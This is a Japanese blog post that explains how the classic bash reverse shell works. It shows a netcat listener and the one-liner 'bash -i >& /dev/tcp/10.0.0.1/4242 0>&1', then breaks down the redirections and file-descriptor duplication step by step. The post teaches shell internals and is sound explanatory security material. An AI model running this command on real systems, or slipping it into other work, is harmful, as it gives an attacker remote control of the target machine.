Reverse Shellのコマンドについて

wore published on
5 min, 978 words

Categories: computer

脅威アクターは目的達成のために、ターゲットのシェルを奪う。
シェルを奪えれば、ターゲットのコントロールが格段に容易になる。
奪い方に色んな方法があるが、そのテクニックの一つに Reverse Shell があり、シェルを奪う普遍的な手法になっている。
これの良い点は、ターゲットからアクターの端末へ接続させるため、アクターからターゲットに直接アクセスできなくてもよいことだ。

攻撃側のシェルで接続を待機させる。典型例がこれだ。

$ nc -lnvp 4242

そして、ターゲットのシェルでなんとか以下を実行させられたら勝ち。外部へ入出力できるようになる。

$ bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

ペイロードの生成ツールやチートシートなしで入力するとなると結構難しいのではないかと思う。
シェルに詳しくなるためにも今回はこのコマンドを理解していきたい。

リスナー

$ nc -lnvp 4242

これは特に問題なく理解できると思う。

  • -l: ポートを listen する(-uでない限り、TCP)
  • -p: listen するポートを指定(例では 4242 になる)
  • -v: verbose(出力が詳細化されるだけで本質的には必要ない)
  • -n: DNS 解決しない(必要なければ指定する意味はない)

ターゲット

問題はこちらだ。

$ bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

特殊なリダイレクトがイメージを難しくしてるのではないだろうか。

  • bash -i(--interactive): bashで対話的にコマンド実行、要はターミナルで作業する時のいつものモードで起動
    • 一方で-cとすると引数のコマンド文字列を一回実行して終了

>&は、理解する上で厄介だが、一つ目と二つ目で意味がかなり異なる

一つ目の>&は標準出力と標準エラーをファイルに出力するという意味である。一般には>&wordと表記する。
次のパラメータ/dev/tcp/10.0.0.1/4242wordに当たり、これは IP アドレス10.0.0.1、ポート4242へのソケットを表していると考えてよい。
考えてよいというのは、本来はファイルのパスである必要があるが、/dev/tcp/10.0.0.1/4242は bash 拡張上の特殊な記法であり、実際にはパスは存在しないため、 そのように考えると便宜上理解しやすいという意味である。

結果、>& /dev/tcp/10.0.0.1/4242は標準出力と標準エラー出力を10.0.0.1:4242のソケットへ出力する意味となる。

入出力参照先
標準入力標準入力
標準出力/dev/tcp/10.0.0.1/4242
標準エラー出力/dev/tcp/10.0.0.1/4242

二つ目の>&はファイル記述子(File Descriptor(FD))を複製するリダイレクトである。
一般的には [n]>&wordというフォーマットで書け、これはnwordを複製したものするという意味になる。
また、nが省略された場合、n=1が用いられる。
wordはファイル記述子を表す数でなくファイル名を表す場合、一つ目のリダイレクトの意味となるため注意が必要だ。

結果、0>&1はファイル記述子 0(標準入力)をファイル記述子 1(標準出力)を複製したものとなる。 ここで、標準入力は/dev/tcp/10.0.0.1/4242を指しており、その値が複製される。

入出力参照先
標準入力/dev/tcp/10.0.0.1/4242
標準出力/dev/tcp/10.0.0.1/4242
標準エラー出力/dev/tcp/10.0.0.1/4242

10.0.0.1:4242が脅威アクターのマシン IP アドレスと待機ポートだとすれば、ターゲットのシェルへ入出力することが実現できる。

余裕があればリダイレクトについて続きをもう少し書きたいと思う。

参考